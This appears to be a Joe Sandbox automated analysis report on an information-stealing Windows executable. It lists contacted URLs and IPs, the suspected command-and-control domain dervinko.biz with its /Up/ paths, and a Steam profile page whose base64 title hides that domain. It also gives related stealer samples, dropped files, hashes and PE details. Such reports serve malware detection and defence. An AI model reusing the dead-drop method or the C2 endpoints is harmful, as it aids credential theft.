https://steamcommunity.com/-	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002794000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://store.steampowered.com/news/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=roSu8uqw	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://dervinko.biz	Gj8P0mbklo.exe, 00000000.00000002.2152455570.00000000027B1000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://recaptcha.net/recaptcha/;	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://steamcommunity.com/discussions/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://dervinko.biz/Up/bistAndAuditAlarmByHandleerta	Gj8P0mbklo.exe, 00000000.00000003.2145426350.00000000050CE000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2145176778.00000000050CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/stats/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://medal.tv	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://broadcast.st.dl.eccdnx.com	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://store.steampowered.com/steam_refunds/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
http://x1.c.lencr.org/0	Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	Gj8P0mbklo.exe, 00000000.00000003.2145279946.00000000052ED000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199609719039(	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002794000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dervinko.biz/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000002.2152864496.000000000507F000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2151826752.000000000507F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199609719039B	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002794000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/workshop/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://login.steampowered.com/	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=tIrWyaxi8ABA&a	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	76561199609719039[1].htm.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dervinko.biz/Up/byDllc	Gj8P0mbklo.exe, 00000000.00000003.2151751922.000000000509F000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2151712465.0000000005090000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://recaptcha.net	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/	76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
http://127.0.0.1:27060	Gj8P0mbklo.exe, 00000000.00000003.2077523999.00000000027C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199609719039/inventory/	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=KyfgrihL0xta&l=e	Gj8P0mbklo.exe, 00000000.00000002.2152455570.0000000002805000.00000004.00000020.00020000.00000000.sdmp, Gj8P0mbklo.exe, 00000000.00000003.2083094344.0000000002803000.00000004.00000020.00020000.00000000.sdmp, 76561199609719039[1].htm.0.dr	false		high
https://ac.ecosia.org/autocomplete?q=	Gj8P0mbklo.exe, 00000000.00000003.2108844417.0000000005138000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.61.62.148	steamcommunity.com	United States		16625	AKAMAI-ASUS	false
104.21.13.203	dervinko.biz	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1436772
Start date and time:	2024-05-06 15:19:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Gj8P0mbklo.exe renamed because original name is a hash value
Original Sample Name:	f7d15a3027d3a430511630c91898c72b91b5fb42bf99315cc5a5ef009a473835.exe
Detection:	MAL
Classification:	mal84.troj.spyw.winEXE@1/2@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 32 Number of non-executed functions: 78
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
23.61.62.148	onxLpsxpVP.exe	Get hash	malicious	Arc Stealer	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	https://steamfiller.ru/	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	https://steam.workshopfiledetail.com/sharedfiles/filedetails/m4a4_celestial_moon	Get hash	malicious	Unknown	Browse
	5zq2Yob8xh.exe	Get hash	malicious	GCleaner, Glupteba, Mars Stealer, Meduza Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Vidar	Browse
104.21.13.203	ss.exe	Get hash	malicious	CryptOne	Browse
104.21.13.203	https://2n8w.app.link/?~channel=Email&~feature=ConfirmationEmail--AtocETicket&~campaign=WebToApp&~tags=locale%3Den_GB&~tags=version%3D1&~tags=marketing_code%3DBSH3675&$android_url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.thetrainline%26hl%3Den-GB&$android_deepview=false&$android_passive_deepview=false&$ios_url=https%3A%2F%2Fitunes.apple.com%2FGB%2Fapp%2Fthetrainline%2Fid334235181&$ios_deepview=false&$ios_passive_deepview=false&$fallback_url=https://denvercbdonline.com/img/new/cjgscb/miket@seprint.com	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	onxLpsxpVP.exe	Get hash	malicious	Arc Stealer	Browse	23.61.62.148
	https://www.steamvr.com/de/	Get hash	malicious	Unknown	Browse	104.71.182.190
	https://steamcommunitlu.com/	Get hash	malicious	Unknown	Browse	104.96.244.29
	BS4GDarWw6.exe	Get hash	malicious	Vidar	Browse	23.66.133.162
	file.exe	Get hash	malicious	Vidar	Browse	184.87.56.26
	file.exe	Get hash	malicious	Vidar	Browse	104.105.90.131
	file.exe	Get hash	malicious	Vidar	Browse	184.87.56.26
	tZvjMg3Hw9.exe	Get hash	malicious	PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse	104.105.90.131
	file.exe	Get hash	malicious	Vidar	Browse	104.105.90.131
	WlCIinu0yp.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer, Socks5Systemz, Vidar, zgRAT	Browse	104.104.85.160
dervinko.biz	onxLpsxpVP.exe	Get hash	malicious	Arc Stealer	Browse	172.67.133.22
	ss.exe	Get hash	malicious	CryptOne	Browse	172.67.133.22
	ss.exe	Get hash	malicious	CryptOne	Browse	104.21.13.203

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	onxLpsxpVP.exe	Get hash	malicious	Arc Stealer	Browse	23.61.62.148
	#U00d6deme makbuzu ektedir.docx.doc	Get hash	malicious	Unknown	Browse	96.17.61.58
	powershell.exe	Get hash	malicious	Unknown	Browse	23.193.120.112
	pDWZMd3100.elf	Get hash	malicious	Mirai, Gafgyt	Browse	23.40.23.231
	bot.arm6.elf	Get hash	malicious	Mirai	Browse	96.16.159.21
	https://www.steamvr.com/de/	Get hash	malicious	Unknown	Browse	23.50.124.114
	https://steamcommunitlu.com/	Get hash	malicious	Unknown	Browse	23.50.124.114
	BS4GDarWw6.exe	Get hash	malicious	Vidar	Browse	23.66.133.162
	PIO88938MB.docx.doc	Get hash	malicious	Unknown	Browse	23.47.168.24
	Copy of BARBOT CONSTRUCTION.xlsx	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	69.192.108.161
CLOUDFLARENETUS	onxLpsxpVP.exe	Get hash	malicious	Arc Stealer	Browse	172.67.133.22
	https://cj96332.tw1.ru/choruspro/choruspro/	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	html.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	heisgood.doc	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	REQUEST FOR QUOTATION.docx.doc	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Order4500318042.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	104.21.89.249
	#U00d6deme makbuzu ektedir.docx.doc	Get hash	malicious	Unknown	Browse	104.21.89.249
	#U00d6deme makbuzu ektedir.docx.doc	Get hash	malicious	Unknown	Browse	104.21.89.249
	FW_ New PO Acknowledgement From The Vankam Freightways.eml	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://www.autohotkey.com/download/ahk-v2.exe	Get hash	malicious	Unknown	Browse	104.21.89.135

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	onxLpsxpVP.exe	Get hash	malicious	Arc Stealer	Browse	23.61.62.148 104.21.13.203
	SecuriteInfo.com.NSIS.MalwareX-gen.17953.29383.exe	Get hash	malicious	GuLoader	Browse	23.61.62.148 104.21.13.203
	EXP263 Grupa Decora ARKU8341370 1x40.exe	Get hash	malicious	GuLoader, Remcos	Browse	23.61.62.148 104.21.13.203
	List of our requirements 06520204Fly Wing.vbs	Get hash	malicious	FormBook, GuLoader	Browse	23.61.62.148 104.21.13.203
	EXP263 Decora Group ARKU8341370 1x40.exe	Get hash	malicious	GuLoader, Remcos	Browse	23.61.62.148 104.21.13.203
	73zGJqwgDy.exe	Get hash	malicious	MofongoLoader	Browse	23.61.62.148 104.21.13.203
	J5kltefeTK.exe	Get hash	malicious	MofongoLoader	Browse	23.61.62.148 104.21.13.203
	qxn9Zvy1at.exe	Get hash	malicious	MofongoLoader	Browse	23.61.62.148 104.21.13.203
	R3vjRWX78A.exe	Get hash	malicious	MofongoLoader	Browse	23.61.62.148 104.21.13.203
	Hy424UHYHW.exe	Get hash	malicious	MofongoLoader	Browse	23.61.62.148 104.21.13.203

Process:	C:\Users\user\Desktop\Gj8P0mbklo.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2969), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34789
Entropy (8bit):	5.386073524863294
Encrypted:	false
SSDEEP:	768:/dpqm+0Ih3YAA9CWGEmfcDAfPzzgiJmDzJtxvrfJkPVoEAdmPzzgiJmDzJtxvJ2w:/d8m+0Ih3YAA9CWGEmFfPzzgiJmDzJtT
MD5:	A3CECEDB9036A82F050828BAA42E21D0
SHA1:	B4DE8B997C26E3CEAEB0C647B593E131E21BC6DB
SHA-256:	75F75C4403BFE3AFD61DDF8898252F488713CE759C5B3E08AD15657158912B6C
SHA-512:	7BA36300556F6BD255A6D414C70C032C276A72558F1457BEF08537B5A640A50D50C9A124736638696812A19A23C01722F4013DC96746567063053FC9A5C00949
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: 3e3 aHR0cHM6Ly9kZXJ2aW5rby5iaXo=</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<lin

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\89737b57-777d-400d-bb7f-77b7e024920e[1].txt

Download File

Process:	C:\Users\user\Desktop\Gj8P0mbklo.exe
File Type:	ASCII text, with very long lines (47680), with no line terminators
Category:	dropped
Size (bytes):	47680
Entropy (8bit):	5.362966359018906
Encrypted:	false
SSDEEP:	768:vzsNZzFhOnDMIf19+kXSV0brSxnb22fnc6KWWhv6GYcnvabaMi9idvbU0nagalQb:v0zPO9f1ouYgLvRMymbU0ni4xKjo
MD5:	0B236AC4395E5E40F5AB3140CB892115
SHA1:	9AC2290905D9996E95291C84E14FF1006BFEE483
SHA-256:	ECB0B0F87288C16207310A58C67A25AC557A54FA328E74F592C051F1C44176FB
SHA-512:	87422C27CD7039C6A15CE32DE54E7733075F000A099191BE456594F2730F25559BB32862FE189159C2A8FADB3A52C863E052A44F66CE3CA24968A95FCE4F7E09
Malicious:	false
Reputation:	low
Preview:	Qz8SERZbFQgTWzIVEhEUQj0SEyAYFRITWhsNEhFiZGlRCRYVPRITIBgVEhNEGw0SEVxkeV1SVVVrbnRvV1JeVGhldFpBb1VQbm1hSlJAE0RZQVMTGDMXEhMgGBUQRRYDFwMfChgVEhEUGRVCXSICFRBSXEtYX1YuXU1XEz4ZFxITfRQ/EhEUGUw4EyAYFRIRFlcVCBMiWmluUgwbGzgTIBgVEhEWSRUIEyJkaX5eV1hbbm9HV1pVXVFla3FbcldYVxFnQWRub1VLUEARcFhDUxEsMhUSERQZFxBHIgIVAx0+GRcSEyAYF0JfFgMXEFBoSlpfVBpcT1cRChgVEhFJFT0SEyAYTjgRFBkXEhMiVhcIERZba25QOBoZOBEUGRcSEyJIFwgRFmVrflxjWVlubXNWWFVfZWRpcVlGVlpXE0JdQVNtaGxEV0EgfFRGUBYVPRITIBgVEhNAGw0SAiwyFRIRFBkXEENuGg8SE1dRRV1eZRZQSlQWMxcSEyBFGTgRFBkXSTkgGBUSERQbWRAJIBpXbm1XARUeOSAYFRIRFBtHEAkgGmlufVtaVl5vXH9aXVZYXGtucGhKWl9UFH1SRG9cbUZXQxR9VkZSIhQ/EhEUGRcSEXQaDxIAGDMXEhMgGBUQQVobDRIRY1BHXVxRF1JKViIyFRIRFEQbOBMgGBVJOxQZFxITIBpbEAsUG1Vub2MAFx47FBkXEhMgGkUQCxQba25/b1tUXm1oflhdVGxdaW5yXEtYX1YgbVtBRVVbW1dvXG1GV0MUfVZGUiIUPxIRFBkXEhF0Gg8SABgzFxITIBgVEEFaGw0SEWNQR11cURdSSlYiMhUSERREGzgTIBgVSTsUGRcSEyAaWxALFBtVbm9jABceOxQZFxITIBpFEAsUG2tuf29bVF5taH5YXVRsXWluclxLWF9WIHtUXFBGQGtuZnNdRxJ1VU1WEB8KGBUSERQZFUYROhgEHjsUGRcSEyAaRVwTDhkVUVty

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.621191048042736
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Gj8P0mbklo.exe
File size:	362'496 bytes
MD5:	bad3fa5127efcc9c678c5d71fce0d0b2
SHA1:	c5f49dd54b71eaf4e1ba3a9fdfc51c7fb8afbea8
SHA256:	f7d15a3027d3a430511630c91898c72b91b5fb42bf99315cc5a5ef009a473835
SHA512:	5b6d5efa4dcf49a43e992652194d45a407e9482dcd21ff887ae709a98944c21d6b7ea67dc518493c0416e3fd2ee38ed0f02c3b75a762b6784af14f0ce69e78ab
SSDEEP:	6144:5OvAYHNayUljnWrd+VKTEK/AeI8eajd8j4xET4YAOqz/B:5mjNadljnWrd+V0EXzS+4CTNo7B
TLSH:	81747E11F182C032D4A202B11A65EFB696BCA93057A29CEF6BD05E7BDD342D26531F37
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K...............D.......D.......D.......@...D...@.......@.......D.......................................Rich...................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x425140
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, REMOVABLE_RUN_FROM_SWAP
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x66115E48 [Sat Apr 6 14:38:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2897cecb00338038ddfd70ec9000340f

Entrypoint Preview

Instruction
call 00007FBA6CC321B0h
jmp 00007FBA6CC31B6Eh
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00446568h
mov dword ptr [ecx], 00446560h
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FBA6CC31CDFh
push 0045527Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FBA6CC33095h
int3
push ebp
mov ebp, esp
and dword ptr [00458278h], 00000000h
sub esp, 24h
or dword ptr [0045700Ch], 01h
push 0000000Ah
call dword ptr [00446070h]
test eax, eax
je 00007FBA6CC31EB2h
and dword ptr [ebp-10h], 00000000h
xor eax, eax
push ebx
push esi
push edi
xor ecx, ecx
lea edi, dword ptr [ebp-24h]
push ebx
cpuid
mov esi, ebx
pop ebx
nop
mov dword ptr [edi], eax
mov dword ptr [edi+04h], esi
mov dword ptr [edi+08h], ecx
xor ecx, ecx
mov dword ptr [edi+0Ch], edx
mov eax, dword ptr [ebp-24h]
mov edi, dword ptr [ebp-20h]
mov dword ptr [ebp-0Ch], eax
xor edi, 756E6547h
mov eax, dword ptr [ebp-18h]
xor eax, 49656E69h
mov dword ptr [ebp-04h], eax
mov eax, dword ptr [ebp-1Ch]
xor eax, 6C65746Eh
mov dword ptr [ebp-08h], eax
xor eax, eax
inc eax
push ebx
cpuid
mov esi, ebx
pop ebx
nop
lea ebx, dword ptr [ebp-24h]
mov dword ptr [ebx], eax
mov eax, dword ptr [ebp-04h]
or eax, dword ptr [ebp-08h]
or eax, edi
mov dword ptr [ebx+04h], esi
mov dword ptr [ebx+08h], ecx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x55aa8	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x59000	0x2554	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x54078	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x53fb8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x46000	0x168	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4496a	0x44a00	6b6f1993190b3eaf82f607fed3374fc8	False	0.5182327242714025	data	6.601561733279373	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x46000	0x102ee	0x10400	1e6dbecf754d7dd193b7e04220f82d31	False	0.5084735576923077	data	5.746131858736808	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x57000	0x1cc4	0x1000	24b02a7a00e869dc523bbcf409d4920b	False	0.18701171875	data	3.063889339206937	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
